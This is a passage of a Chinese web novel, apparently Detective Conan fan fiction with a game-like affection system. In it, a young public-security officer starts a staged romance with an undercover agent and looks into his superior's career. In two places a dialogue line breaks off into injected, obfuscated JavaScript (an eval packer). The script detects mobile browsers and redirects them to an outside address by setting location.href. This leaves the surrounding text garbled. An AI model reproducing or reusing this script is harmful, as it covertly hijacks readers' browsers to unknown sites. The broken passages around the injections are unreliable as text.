一之羽巡一边吃着早餐一边单手打字,对自己突然多了恋爱对象这件事适应良好。 飞鸟长官安排来的人身份不可能简单,他很期待任务结束后会发放什么奖励,况且解密一个显然有很多秘密的人和揭秘一个复杂的案件对他来说同等有趣,他享受这种拨云见日破开谜题的过程。 到达警察厅的时候还不到八点,不过办公室里倒是已经坐了一半人了,这一半里又起码有一半是通宵加班没来得及回家的,一之羽巡放轻脚步穿过办公室,只和还有精神爬起来的同事小声打了招呼,去窗边看自己的花。 他检查了一下叶片和花苞,顿了顿,用指腹按了按花盆里的土壤,果然,又有人趁着他不在的时候来浇了水,不知道是不是又是那位不按常理出牌的红方首领。 ——这并不是一盆普通的花。 按照公安课其他人的说法,这是他们办公室唯一室花,全权委托给室草一之羽警官照料;从游戏的角度出发,这是目前唯一关联植物乐园版块的植株,一不小心养死了那又要重头来过,从种子到幼苗再到今日的即将盛开,所耗费的时间已经和他在警察厅升职所用的时间等量。 如果抛开一切不谈,无关游戏通关,这是他在游戏内的兄长一之羽青词送他的入职礼物,一枚意义非凡的花种长出的嫩芽,自然也是一盆意义非凡的花。 一之羽巡的指尖轻轻敲了敲花盆边缘,若有所思。就这么挺下去不是办法,尸体泡在水里会巨人观,花浇太多水也不是好事。 他抱着花盆换了个位置,方便盆栽更好地沐浴阳光,这才回自己的工位坐下。 刚一落座,一个人影丝滑闪现登场。 “一之羽警官!” 一之羽巡用湿巾擦手,心道该来的果然逃不过,抬头打了声招呼:“早啊,忍足警官。” 忍足警官毫不客气,直入主题:“快跟我说说,飞鸟长官那天找你做什么!” 面对那双闪着八卦之火的眼睛,一之羽巡诚实回答:“飞鸟长官给我介绍了一个恋爱对象。” 忍足警官震惊:“what?!!” ——从未料想过的角度出现了! “什么?!” “然后呢然后呢?” 一之羽巡面对闻八卦而动瞬间围上来的一众眼底冒光的同事,轻咳一声:“见了一面,聊得还挺愉快的……” “嚯!!” “你小子!!” “成了记得告诉我们,你要请客!” “室花要开了,现在室草也要被摘走了!” 大家都是有分寸感的人,又不是审问嫌疑人,没人盘根问底再深究下去,很快便谈笑着散开。这个话题仿佛为死气沉沉的办公室注入了一股能量,卡住的齿轮重新启动,各司其职忙碌起来,只留忍足警官还在原地不动。 “唉……” “怎么了,忍足警官?” 忍足警官是一之羽巡刚到警察厅时的带教,虽然有健忘debuff还经常发表各种消极怠工言论,但他本身的的确确是一个专业水平过硬的优秀公安,无论是私下里还是工作中,一之羽巡跟这位警官都相处得很愉快。 等其他人散开了忍足警官才捶胸顿足地说:“虽然早就知道会有这么一天,但还是比我想象中快太多了!” 一之羽巡哑然失笑:“别多想,没有的事。” 忍足警官没继续说下去,有些话没必要说太清,对方是个聪明人,能听懂他的言外之意。 当年他不情不愿地接下带新入职的后辈适应工作的任务,但仅仅一个上午过去他就有所预感,这是个百年难得一遇的人才,也注定是公安课无法长久留下的人才。 忍足警官在心里骂了一句十八楼的警备企划课。 大概是真的不经念叨,一个不属于这间办公室的人敲了下门,顶着一众审视的目光大摇大摆地走了进来。 “一之羽警官,关于藤原议员的案子,我有点问题想和你讨论一下,不知道你现在有没有时间?” 一之羽巡抬眸看了一眼,是警备企划课的人。他和警备企划课几乎没什么交集,自然也谈不上眼熟,不过上周就是这个人带着证件来截胡了他的案子,他当然记得清清楚楚。 用了敬语,态度还行,不过找被截胡案子的人讨论案情,多少有些冒昧了。 一向佛系的忍足警官罕见地直接开了麦:“又是你,你够了吧!” 一之羽巡起身,轻轻拍了下忍足警官的胳膊,递了一个安抚的眼神,忍足警官忿忿不平地闭上嘴,没忘再白那个警备企划课的人一眼。 他从抽屉里拿出一个文件夹,“我猜你们应该是在牵扯到藤原警视长的那部分遇到问题了吧,藤原家是一个大家族,三代内无论是警界商界还是政界都有所涉及,有了这份资料很多线索就能串联起来了,拿去吧。” 对方有些惊讶,接过来翻开看了两页,眼神微变,再开口时语气多了几分郑重:“谢谢,你这份报告做得还真是……真不愧是传闻中的一之羽。” “谬赞了。” 顿了顿,那人伸手正色道:“一直没自我介绍,我叫做高原慎行。” 一之羽巡笑而不语,忽略了那只手,也没再搭腔。 他做出了让步,提供了帮助,但不代表他毫不在意毫无怨言。 这是一场游戏,但他不是来游戏人生的。 和忍足警官的中庸理念不同,为了通关,他理所当然地追求更加完美的履历和更快的升职速度,不过忍足警官有一句话他倒是赞成——哪怕立功的人不是自己,真相总要水落石出。 他享受解谜的过程,但效率同等重要,正义不仅不该缺席,更不该迟到,他拿出这份资料不是为了帮助警备企划课,而是在还原真相,仅此而已。 高原警官还想再说些什么挽回一下警备企划课的形象,一旁的忍足警官没给他这个机会,搂着脖子强行把人拖了出去。 一之羽巡抬手欲言又止,已经走到门口的忍足警官转头笑容狰狞:“我跟这家伙是同期,你忙你的,我们叙叙旧!” “……好的。” 出了公安课的办公室,忍足警官皮笑肉不笑地锤了同期一拳:“你们干嘛偏要抢这个案子,案宗我也看过,耗时耗力又复杂,当时除了一之羽根本没人有把握敢接这个烫手山芋,既然没涉及什么国家安全层面,警备企划课偏要掺合个什么劲儿?” 高原警官吐槽:“你们觉得烫手我们就不觉得烫手了吗?上头怎么安排我们就怎么做啊。” “上头安排的?”忍足警官皱眉,脑海中突然闪现上周秘书处来找人的画面,“……飞鸟长官?” “情况就是这么个情况,多的你就别再问了,你权限不够。” “不要脸。”忍足警官毫不客气道:“抢了人家小年轻的案子以后还不想自己花时间搞,直接伸手要线索,这跟抢功劳有什么区别,你们警备企划课就是强盗!” 高原警官一时词穷:“随你怎么说,下次有空再聚。” “聚个屁!你权限不够!” …… 午休时间,一之羽巡去了一趟警视厅。 警视厅和警察厅两栋大楼四舍五入算挨着,串个门联合办个案都很方便,不过职级不同,警视厅那边对联合办案这种事并非每次都心甘情愿,公安的证件和调令拿过去管用但单纯的名号并不管用,还有挨揍的风险。 一之羽巡在警视厅有位熟人,人缘好到几乎可以把警视厅从上到下的人脉都打通,连带着他也跟着沾了点光,在那边混了个脸熟。 “一之羽警官,好久不见了,你来找萩原警官吗?” 一之羽巡站在办公室门口,笑着说:“好久不见,萩原他在吗?” “我帮你看看!”那人刚转身,一个身影气势汹汹地从里面走出来。 “松……松松松田队长!” 来者边走边摘下墨镜,微卷的黑色发尾随着步伐晃动,走路带风,远远吼了一声:“一之羽巡!你给我站住!” 正要开溜的一之羽巡笑容一僵,被抓着领子拖进了办公室,一旁眼看情况不对的新队员一溜烟跑没影了。 松田阵平眼里几乎快冒出火,揪着某人的领子开始输出:“你竟然在公交车上冒充我拆弹?!还说什么以职业生涯担保?!锦旗都送到我桌子上了,你以松田的职业生涯担保松田知道这件事吗?!” “松田警官,你听我解释,因为……” “你姓松田吗你就说自己是松田,我怎么不知道你什么时候跟我姓了?!” “当时情况紧急,所以才……” “你考排爆资质证了吗?!公交车这种非稳定环境适合拆弹吗?!” “我跟萩原学过……” “还有那家伙,我一会儿再找他算账, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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被誉为警界明日之星的一之羽巡,比他早一届,在警校时就有所耳闻,是教官们口中前途不可限量的完美化身,他刚毕业的那年一之羽巡还是警部补,现在已经摇身一变升到了警视,对于很多警察来说,这就已经是一生无法突破的终点线,而一之羽巡的仕途才刚刚开始。 传说级别的专业素养和令人震撼的履历让人本能地忽略了那张脸,已经到了没人关心他究竟长什么样的地步,提起时总是更先想起坐火箭式的升职速度,松田阵平也是其中之一。 他盯着那双含笑的黑眸,攥紧的那块领口莫名烫手起来,松田阵平再次想:见鬼了,一之羽巡原来长这样。 【松田阵平:+7】 一之羽巡:? 他慢半拍地反应过来,恍然大悟:“松田警官,你是在担心我啊?那真的只是一个很简陋的爆/炸装置,我跟着萩原拆过很多次,有把握的。” 松田阵平:“谁担心你了,你哪只眼睛看到我担心你了??你脑子瓦特了??” 【松田阵平:+3】 【松田阵平:69/100】 一之羽巡看着松田阵平的好感度,心想:两只眼睛都看到了。 这么一算,果然是苏格兰有问题。 正常来说哪有会按照小数点来加好感度的?连一向看他不顺眼的松田小队长都给他加了10分,那可是整整…… ???? 等等?? 加7再加3以后69分吗??? “松田警官,你……” 一之羽巡的眼神古怪起来,松田阵平憋着一口气梗着脖子继续对视,几秒后彻底败下阵来,猛地后撤两大步。 “你干什么?离那么近干嘛?!” “啊?刚刚不是你突然……” 正在吃饭的萩原研二被机动队新来的队员匆匆忙忙喊回来,据说松田警官在跟一之羽警官算账,他赶回爆/炸/物处理班,正好撞见一之羽巡正一脸探究地往松田阵平面前凑,松田阵平左躲右躲避无可避,远远看起来不像是被算账,反倒像是在调戏良家少男。 他被自己的想法逗笑了,扬声打断那两人:“一之羽!来找我的吗?” 到门口他才发现幼驯染脸色不对,狐疑道:“小阵平?你脸怎么这么红?” 一之羽巡事先声明:“不要误会,我绝对没有故意惹你家幼驯染生气,我来只是想问问你晚上要不要一起吃个饭而已。” 他看了一眼旁边的某个卷毛,“嘶”了一声:“这……松田警官,你大人有大量,消消气,把自己气坏就不好了,锦旗你不喜欢我一会儿带走。” 一想到那面锦旗上的标语,松田阵平的脸一下由红转黑:“哈?!你想打架吗?!” …… 远在北海道执行任务的诸伏景光打了个喷嚏。 “感冒了?” 诸伏景光摇摇头,把刚刚拍的风景照发出去。 【最近东京降温,注意保暖[图片]】 【你也是。】 【期待下次见面。】 【****(苏格兰):+0.2】 【****(苏格兰):11.1/100】 5. 005 “所以为什么连我也要来啊?!” 下班以后弄名其妙坐在餐厅里的松田阵平浑身不舒服,尤其是一看到对面那个跟自家幼驯染谈笑风生的家伙就更加微妙,左看右看怎么看都不顺眼,一对上视线又觉得不知道该往哪看。 一之羽巡笑眯眯道:“给我个机会赔罪嘛,松田警官。” 萩原研二把菜单还给服务生,打了个岔:“一之羽,你今天竟然没有加班啊。” 正在逗爆/炸/物处理班小队长的一之羽巡罕见地沉默了一下。 近期着重负责的案子被警备企划课连吃带拿要走了,他现在的确罕见地清闲。 不,也不算完全没有任务。 虽说跟某人恋爱一个月这种任务听着不太正经,但某种意义上飞鸟长官发布的任务比其他常规性质的任务重要得多,完成后获得的经验值和奖励也一定更多。 一之羽巡说不准自己究竟更喜欢哪种类型的任务,让他自己来选,他只会all in。 小孩子才做选择,成年人全都要。 “一之羽?” 一之羽巡回过神:“嗯?” “你找我是有什么事吗?” 萩原研二是一个通透的人——第一次在警视厅见到这位比他小一岁的后辈时,一之羽巡就对此有所感应。他坦言:“确实有些事想咨询你。” 一旁的松田阵平见证插针地吐槽了一句:“那为什么连我也要来?” 没人忽略这位充当吉祥物的卷毛警官,一之羽巡耐心解释:“这家店味道很不错,我也想让你尝尝看。” 于是松田阵平又不说话了。 萩原研二:“说说看,这次是想问我什么?” 一之羽巡缓缓说出了一个名字:“飞鸟环。” 这个名字一出,连不在状态的松田阵平都下意识坐直了几分。 就算再怎么不在乎外界,作为警察,永远都绕不开这个传奇性的名字。 “警察厅的那位飞鸟长官,你对他了解多少?” 萩原研二摸了摸下巴,一之羽巡没追问,安静等待。 萩原研二是迄今为止他在警务系统中交集最深的NPC,情商拉满,人缘极佳,手握警务系统从上至下的全部人脉,犯罪永远无法脱离人与人性两个话题,在这个充斥着犯罪的游戏世界里,这样一个角色会成为最好的助力。 他不在乎利益和真心的界限,既然两者都可以形成稳固的链接,那两者共存只会让关系更加紧密,没必要纠结那些有的没的。 萩原研二垂眸思索几秒,抬头问:“你想知道哪个方面?” 一之羽巡不假思索:“全部。” “意料之中的答案。” 萩原研二单手拄着下巴,姿态依旧放松,对顶头上司的大名直接出现表现得异常平淡,对揭自己的短也毫不在意:“上次你来问藤原警视长的事,我还说我只是个巡查部长,你竟然会想到来找我牵线。” “就是觉得如果是你的话一定有自己的渠道。事实证明,我是正确的。” “你这是盲目信任,凑巧的而已。”萩原研二无奈笑笑,言归正传:“我倒是没见过飞鸟长官,不过去年我结识了一位从地方调到东京的警部,飞鸟长官早年在长野县的时候他们共事过,聊天里稍微提到过几次。” “飞鸟长官晋升的速度很夸张,跟你比也不逞多让,但他其实是非职业组出身。” 松田阵平:“……哈?” 职业组出身大多高学历且通过了国家公务员综合职位考试,入职警衔起步就是警部补,而对于非职业组来说,从警校毕业后首先要从巡查做起,从巡查升到巡查部长平均要花费四到六年,而从巡查部长到警部又需要三五年,绩效优异又正逢职位空缺的话也有机会将时间压缩一些,例如松田阵平,纵然职业技能水准一骑绝尘国内鲜有敌手,至今也只升到警部补,但这其实已经算很快了,和松田阵平同期毕业入职的萩原研二目前仍旧是巡查部长。 一之羽巡能够在二十六岁升到警视的确让人大跌眼镜,但也并不是完全无法接受,职业组出身起步就已经比绝大多数人高,而且每逢他升职前夕必有特大案件,年年都有突出贡献,升职自然水到渠成,连续几年下来,现在每当临近晋升考试,警务系统各个部门都如临大敌,生怕又有什么重大案件出现。 警视总监的警龄一般三十年起步,职业组或许有机会将时间浓缩至二十年左右,警察厅长官地位凌驾于警视总监之上,要求的服务期限只会多不会少,飞鸟长官身为非职业组却能在四十岁之前把未来晋升空间彻底清零,这已经不是恐怖一词能形容得了的了。 “飞鸟长官从东大毕业后没考职业组,而是去基层做了巡查,那年还有另一位高学历的长野县县警也是这样,这是这个名字第一次被拿出来讨论,那会儿大多都是觉得无法理解,不过后来再提到这个名字的时候,大家注意的点已经变了。” 萩原研二半回忆半分析道:“因为正好是整数,所以那位警部记得很清楚,十年前夏天,飞鸟长官突然连升三级,从警部补升到了警视正,跟升职消息一起来的还有调令,空降去东京警视厅本部搜查一课做管理官。调令刚发下来的时候还有人有异议,怀疑是不是有背景暗箱操作,但几个案子下来,所有人都对这位新任管理官心服口服,再后来的你应该就都知道了。” 一之羽巡颔首,再后来的事情他的确都清楚。早年默默无闻无人理会,一举成名后无数双眼睛盯着,想不清楚也难。 飞鸟长官空降到警视厅的时候是警视正,这个职级已经算是警务系统中的高层领导,晋升为警视正时必然要经过高层推荐,是完成了什么上面直接发布的秘密任务吗?可什么性质的任务才能让非职业组连升三级? 一之羽巡靠在椅背上,指腹轻轻摩挲着玻璃杯杯壁。 萩原研二留意到那个动作,那是正在思考的意思,他不知道一之羽巡自己有没有意识到自己的这个小动作,不过以往只在那人沉浸于破案时才看到过。 一之羽在把顶头上司当成案件来侦破? 他怎么会突然对警察厅长官感兴趣? 松田阵平打了个哈欠,倒了杯茶提神。 一之羽巡指尖一顿,突然问:“飞鸟长官喜欢喝茶吗?他喜欢什么茶叶……玉露?” 问这个问题的时候连一之羽巡自己都觉得不可能得到答案,出乎意料,或者说萩原研二不愧是萩原研二,他很快便摇摇头说:“飞鸟长官不喜欢喝茶,他只喝咖啡,而且对咖啡的要求非常高,在长野县的时候他经常收到快递,里面都是各种各样的高级咖啡豆。” 一之羽巡皱眉。 不喜欢喝茶?飞鸟长官泡茶时的动作和对茶叶的侃侃而谈可不像是不喜欢喝茶的模样。 松田阵平给说了半天话的幼驯染倒了杯茶,独自纠结了一会儿,又悻悻给坐在对面的公安也倒了一杯。 身体很诚实,但不耽误他嘴上不饶人:“你现在是警视了,后面再晋升必须有高层举荐,你想找飞鸟长官?你准备给他送礼贿赂一下?” 一之羽巡无奈:“松田警官,我只是对这位长官有些好奇罢了。” 这很正常,无论是谁都会对那样存在一段空白的神奇履历感到好奇,更何况那还是时不时就要被拿出来和当年的飞鸟长官比较一番的一之羽巡。松田阵平随口道:“你也以飞鸟长官为目标啊……说起来,警视厅这边挺多人叫你‘小飞鸟警官’的。” 出乎机动队爆/炸/物处理班两位警官的意料,一之羽巡的反应并不正面,他显然也联想到了自己初出茅庐时时不时就被评价为第二个飞鸟长官的事情,其实时至今日依然有人这么说,只不过如今更多人提起他时会开始感慨:“真不愧是传闻中的一之羽。” 所有人都理所当然地想:哪个警察会不想成为第二个飞鸟长官?能被约定俗成地称为“小飞鸟警官”,这是被冠名者的荣幸,也是一种荣誉。 但当事人并不这么认为。 “目标?”一之羽巡略带讽刺道:“我从来不以某人为目标。” 他放下杯子,神情依旧淡然,说出的话却和谦逊一点儿都不沾边:“我相信自己可以做到某件事从来不是因为有人曾经成功过,而是我本来就有这个能力做到。” 松田阵平扬了扬下巴:“自大狂。” 【松田阵平:+1】 一之羽巡和突然给自己加分的卷毛警官对视了一眼,虽说这两年的相处一直靠萩原研二从中调和,不过某些方面他们倒是很能达成共识。 他慢半拍地反应过来,松田警官时不时地给他涨点儿好感度,他真正的朋友却一直一点儿动静都没有。 就算他和萩原的关系比不上跟松田警官的幼驯染情,倒也不至于一动不动吧……好感度系统Bug了? 刚准备调出萩原研二的好感度版面研究一下,萩原研二突如其来的哑然失笑分散了他的注意力。 “一之羽,你还真是……” 一之羽巡:“嗯?” 萩原研二久违想起了自己第一次见到那位传闻中的警界明日之星时的情景。 他心有余悸地从排爆现场出来,被幼驯染揪着领子劈头盖脸骂了一顿,最终没好气地命令他:“抓住炸弹犯的人正在做笔录 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353360|167987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你就穿着防爆服在门口守着,给我九十度鞠躬好好感谢对方再回来!!” 他知道幼驯染是担心自己,罕见地对安抚认识二十年的好友感到棘手,只好独自站在走廊等待那位救命恩人现身。 大约半个小时后,一个看着跟自己差不多大的年轻人被簇拥着从笔录室走出来,那就是他和一之羽巡的初次会面,感谢的话没能说完,只打了声招呼便匆匆而过,生命的红线奇迹般相交打了个结,他因那人活下来,即使在对方眼里那不过是一次再普通不过的见义勇为,甚至在过分精彩的履历中无法上榜。 他们的交集远没有结束,对他来说想要和某个人成为朋友轻而易举,熟识以后,他找了个合适的时机问出当初的困惑:“你那天只是来警视厅交接案情的吧,怎么会路上多看了一眼就知道那家伙是炸弹犯的?” “可能你命中注定就要欠我个人情,你要以身相许报答我吗?……哈哈,我开玩笑的。” 那人举杯敬酒,神情自若,细看时才能看清笑容之下流露出的绝对自信和野心,仅是一丝就已经耀眼异常,理所当然道:“萩原君,因为我是一之羽巡啊。” 因为他是一之羽巡,所以什么都敢做,什么都能做,做什么都正确,做什么都会成功。 一之羽巡看着话说了一半突然卡壳的萩原研二,好奇追问:“我真是什么?” 面前的那张脸和记忆中的那张神采飞扬的脸逐渐重合,萩原研二回过神,终于把话说完:“……你还真是一点儿都没变。” 一之羽巡摸了摸脸,自卖自夸:“应该有变得更帅气吧?……虽然大家经常因为我的能力忽略掉我的帅气。” 松田阵平犀利点评:“其他地方根本没变,只有黑眼圈变得更重了。” 萩原研二跳过这个逐渐跑偏的话题,笑着说:“一之羽,如果你以后做了我们的顶头上司,可不要记恨小阵平当初不让你旁听爆/炸/物处理班的培训。” “喂喂,等一下,难道他该来吗?职业组的轮岗里可从来没有来爆/炸/物处理班这一项吧!” 和松田阵平认识也不是一天两天了,对彼此的性格知根知底,一之羽巡当即调侃起来:“我升职以后第一件事就是调萩原来做我的副官,再每个月扣一次机动队的活动经费。” 松田阵平:? 松田阵平大为震撼:“你竟然当着我的面挖墙角?!” “小阵平,你的关注点不太对吧……” “哈?!你怎么回事?到底站哪边的?!” 萩原研二捂脸:“谁让当初一之羽想来旁听的时候你无论如何都不肯点头的,多加个人而已。” 顿了顿,他突然想起当时的另一段故事:“不过其实当时小阵平都快松口了,结果隔天一之羽你突然开始不停对小阵平说‘转人工’,把小阵平气个够呛,旁听的事也吹了。” 一之羽巡略带尴尬地轻咳了一声:“都是过去的事了……” 那时候他还没完全沉浸在游戏里,按照常规思路,有刷技能点的任务但任务节点的NPC拦着他死活不让推进度,各种礼物送尽了也没见成效,要么是他哪个步骤操作错了,要么就是游戏Bug了。 连续打卡了一个月都推不动进度条,他会觉得松田阵平是个Bug也正常。 提起刚认识那会儿的事,另一个经典话题就跟着浮出水面。 “不过,萩原,我说真的,就像当初说的那样,觉得欠我个人情的话,要不你就以身相许吧。” 桌面上的氛围骤然凝滞,最先打破寂静的是目瞪口呆的松田阵平:“……啊?” 一之羽巡认真道:“像你这样的人,完全可以在更适合你的地方发光发热。” ……原来是指这个。 当年一之羽巡的确对他开过这种玩笑,想要报答救命之恩的话干脆以身相许好了。 萩原研二松了口气,心里悬着的大石头重重砸下碎成几块,说不上来是如释重负还是其他更复杂的心情,忽略异样的情绪,他面不改色道:“这件事就等到你成为警视总监后再谈吧,虽说我只是个小小的巡查部长,不过做副官的话我还是更想做警视总监的副官。” 一之羽巡眉眼弯了弯:“那就说定了,我升到警视总监的时候,你要来做我的副官。” 松田阵平不满:“有人记得我还在吗?萩是我队里的成员,没人问我的意见吗?” “人往高处走。” “你想打架吗?” “上菜了,快坐下,吃完再打……” 吵归吵闹归闹,但没人质疑,这个年轻人有朝一日会成为新一任的警视总监。 6. 006 飞鸟长官的确疑点重重,身上的隐藏属性快溢出来了,不过也不能随随便便就去贴脸开大表示质疑,他一路走到如今这个位置费了不少心思,事业上升期得罪顶头上司不是明智之举,况且他现在还做着飞鸟长官的秘密任务——虽然那个任务听起来也很不靠谱。 十年前不喜欢喝茶但十年以后又喜欢上了,口味变了,没什么说不过去的;至于偷偷浇花,喜欢那盆花但君子不夺人所爱所以暗中照料,扯是扯了点,也不是完全讲不通。 游戏世界就是这样,只要策划想自圆其说,什么鬼设定都能加。 大概是因为亲身接触下来后关于飞鸟长官的事大多奇奇怪怪,一件事奇怪是奇怪,一直奇怪就是常态了,一之羽巡反倒是打消了一些好奇心。 和全能情报NPC萩原研二交流过后,一之羽巡再次把关注点放在了飞鸟长官的任务上。 苏格兰上周去北海道工作,具体做了什么不得而知,不过从不规律的简讯回复时间以及文字中隐约透露的疲惫感,一之羽巡猜测那不太轻松,也再度印证了他对苏格兰卧底搜查官身份的猜想。 第二次约会,他们像一对普通的恋人那样约在街边碰面,一之羽巡提前了十分钟到约定的地点,然而抵达时苏格兰竟然已经到了,而且看起来比上次见面时精致了许多,不知道是洗衣液的味道还是喷了香水,走近时能嗅到若有若无的香味。 一之羽巡借着街边的玻璃快速看了一眼自己,略长的刘海,浓重的黑眼圈,被工作摧残得自带阴间buff,好在清爽整洁。 他决定下次约会时再提前一个小时准备。 “等很久了吗?” “没,我也刚到。” 诸伏景光拎着一个手提袋,里面是他在北海道买的特产,之前在短信里他提到过会带伴手礼回来。 已经不是第一次见面,这几天虽然没能碰面但传了足够多的简讯,交流增加后再见面时反倒没什么尴尬,上次的牵手练习颇具成效,接过伴手礼的时候他们十分默契地顺势牵起了手。 两个顶着恋人关系的第二次见面的陌生人并排坐在长椅上,早冬时分天气还不算太暖,不过今天天气格外好,很适合像这样在室外散散心。 行人匆匆,没人注意到藏在纸袋下的两只手正十指相扣。 “最近很忙吗?” “还好。” 诸伏景光挑着最笼统的地方说了近况,顺着话题把问题抛了回去:“你呢?最近忙吗?” “蛮清闲的,也没怎么加班。” 他们之间克制地隔着一段距离,但其实手暗中握在一起,坐在人群中,显得又远又近。诸伏景光转头看过去,阳光下,“恋人”正出神地看向远方,神情恍惚。 他忍不住问:“遇到什么麻烦了吗?” 一之羽巡回过神,不好意思地笑笑:“没什么。” “不方便告诉我吗?” 对上那双温润的蓝眸,一之羽巡无奈地叹了口气,说出实情:“可能就是因为最近太清闲了吧,有些不习惯。” 那就是职场上的问题了。 或许是觉得已经开了个头,那也没什么好继续隐瞒了,又或许是伪装了太久,一直把烦恼藏在心里,终于能有个能开得了口的局外人听听心里话,那位年轻有为的公安仿佛被打开了话匣子。 “之前一直在负责的案子移交到其他部门了,前期着手进行了很多调查,克服了很多疑难问题,最终却没能亲手揭开真相,总觉得有些遗憾。” 一之羽巡在余光中留意苏格兰的神情,七分真三分假地卖惨:“那边后来还找我拿走了前期准备工作中的资料……希望那些情报对他们的调查有帮助,尽早结案,真相大白。” 诸伏景光哑然:“原来是这样……” 他在生活中和任务中都经历过这种无力感,世事发展不会永远顺如人意,没想到给人的第一印象是永远顺风顺水、一路高升的一之羽巡也不例外。 组织里存在一些复杂的利益纠葛,老牌代号成员的代号可以继承给子辈,取得了新设立的代号的组织成员们对其多少存在一些鄙夷,看法不同,划分利益时自然就各自为营,双方的矛盾日益扩大,警务系统中也不能免俗,这无关正义与否,而是只要有人存在的地方就有私心和利益冲突。 他不知道自己该说些什么,常年身处犯罪组织,以最直观的方式接触黑暗,这导致他看待问题的方式愈发矛盾,他渴望光明,也致力于创造光明,但他清醒地明白,绝对的公平正义并不存在。 对一些复杂的利益纠葛感到无奈的同时,诸伏景光诡异地生出一种念头:这个人竟然也会像普通人那样感到力不从心? 诸伏景光微微皱眉。 他一向相信自己的直觉,这份对情绪敏锐的感知和对直觉的信任让他多次死里逃生,帮助他走到今天,成为了组织招牌代号成员之一苏格兰。 ……总觉得从资料显示和亲身接触下来看,一之羽巡并不是会对这种事耿耿于怀的人,至少不会因为这种事就表现得如此惆怅。 【****(苏格兰):-1】 【****(苏格兰):10.1/100】 正在表演忧郁小王子的一之羽巡:“……” Why?莫非你是警备企划课的吗?你自动对号入座了吗?! 加分按照小数点后一位加,扣分的时候倒是挺痛快的,卖惨博取同情分肉眼可见行不通,一之羽巡当机立断改变策略,启动计划B:“我们去吃饭吧!” 这家法餐是监控室的山田警官推荐的,菜品正不正宗不好说,但甜品是从法国请来的甜点大师制作,每日限量供应,一座难求,不过托人脉大师萩原研二的福,一之羽巡还是搞到了一张靠窗的绝佳桌位。 坐下没聊两分钟,一之羽巡再次起身,诸伏景光疑惑地看着同桌人走向另一张桌位,俯身说了什么,而后转身笑着朝自己招了招手。 起身的瞬间,诸伏景光意识到,对方是看出了自己对坐在餐厅内最佳位置也是最引人注目的位置的局促,刚刚是去找角落桌位的客人商量换座。 重新坐下时,诸伏景光道了声谢,一之羽巡只是笑着将菜单递过来,其余什么都没多说。 诸伏景光盯着菜单上一排排法语,坦言自己看不懂,让对方随意点就好,一之羽巡将菜单接过来平铺在桌面,体贴地边介绍边推荐,征求意见后点了几道菜。 等待上菜的空余,他们有来有往地说着自己的近况,也诉说着对分别的这几天的思念——这就是飞鸟长官发布给他们的任务,要像一对真正的情侣那样恋爱一个月,在外人看来他们是一对浓情蜜意的恋人,从自身视角出发也要拿出对方就是自己真正的恋人的架势。 如果让诸伏景光来评价,凭心而论,作为恋人来说一之羽巡无可挑剔,无论是外貌品行还是恋爱过程中展露出的每一个微小细节都堪称完美。 显而易见,这个人对恋爱很有一套。 一个问题伴随着这个念头脱口而出:“你谈过几段恋爱?” 一之羽巡微愣:“嗯?” 诸伏景光刹那间反应过来:“抱歉,走神了,好像问了奇怪的问题,不用回答的。” 因为换了桌位而稍微放松了两分,氛围又恰到好处地融洽,竟然不小心把真实想法说出来了,伪装恋人是真,但是最基本的边界感不能抛开,但愿那没让对方感到不快。 诧异转瞬即逝,一之羽巡托着下巴笑起来:“别紧张嘛,你好奇这个问题的话,我会很开心的。” 诸伏景光听懂了那句话的言外之意:爱情总是带着占有欲的,会好奇前任,那就说明足够在意。 总而言之,符合他们目前的设定,是可以讨论的话题。 “其实你是我的初恋来着。” 说这话的时候一之羽巡看起来有些不太好意思,但神情中更多的是深情:“这是我第一次恋爱,如果哪里做得不好,请务必告诉我,我会认真反思改正的。” “初恋……吗?”这次轮到诸伏景光惊讶了。 他以为像一之羽巡这样的人,追求者一定不在少数,竟然从未谈过恋爱,不知道是为了这个任务口头建立的人设还是事实真是如此。 其实诸伏景光更倾向于后者,抛开其他不谈,迄今为止一之羽巡对这个为期一个月的任务所展现出的态度就是我们一切都要以这是一段真实的恋爱为前提,任何时候都不能懈怠。 第一次恋爱,本该是一段值得纪念的美好回忆,却和一场略显奇怪的任务挂钩,为对方短暂遗憾过后,诸伏景光后知后觉地想起,这也是自己人生中第一段恋情。 两个从未谈过恋爱的人却像两个恋爱老手一般坐在一起谈笑风生,只有他们自己才知道半个小时前他们还在悄悄练习牵手。 他忽然感到有些好笑,他也的确忍俊不禁了。 一之羽巡缓慢地眨了下眼,突然开口:“你笑起来很好看。” “谢谢,你也……”诸伏景光顺口回应,对上那双眸子,话音到嘴边又猝不及防卡住。 那种透着欣赏和赞叹的眼神太过令人信服,让他没办法只是不走心地嘴上随意客套一番夸赞回去。 他有时候会觉得令人难以置信,在照片里看起来那么薄情的一双眼睛,对视时竟然会产生自己正在被爱的错觉。 诸伏景光开始好奇起一之羽巡究竟是如何看待这场任务的了,飞鸟长官只告诉他需要把一之羽巡当成自己真正的恋人,并没就其他部分多谈,他本身就在执行卧底任务,对这种程度的保密措施适应良好,不过私下里多少有过点儿猜测,或许是一之羽巡有什么重要任务需要伪装成有一个黑色背景的恋人,组织代号成员苏格兰刚好适用。 一之羽巡倒是没有说谎,准确来说,在这场主题为恋爱的任务中他还从未说过谎。 进行调查和解决案件时谎言的运用是一门学问,用好了自然有奇效,但就算他过去没谈过恋爱也明白,不论出发点如何,恋人之间不可以存在欺骗,哪怕是善意的谎言也不例外。 他不确定飞鸟长官让自己充当苏格兰的恋人有何用意,如果苏格兰真的如他所想是一个正在执行某项长期任务的卧底搜查官,那么很大概率是因为苏格兰那边的什么任务需要补充人设,比如有一个正在做公安的恋人。 至于一再强调真实性也不难理解,演戏总归有限度,改变不了虚假的事实,哪怕一瞬的出戏都足以让精彩绝伦的戏剧变成彻头彻尾的喜剧,而卧底搜查官们的职业生涯经不起任何程度的松懈。 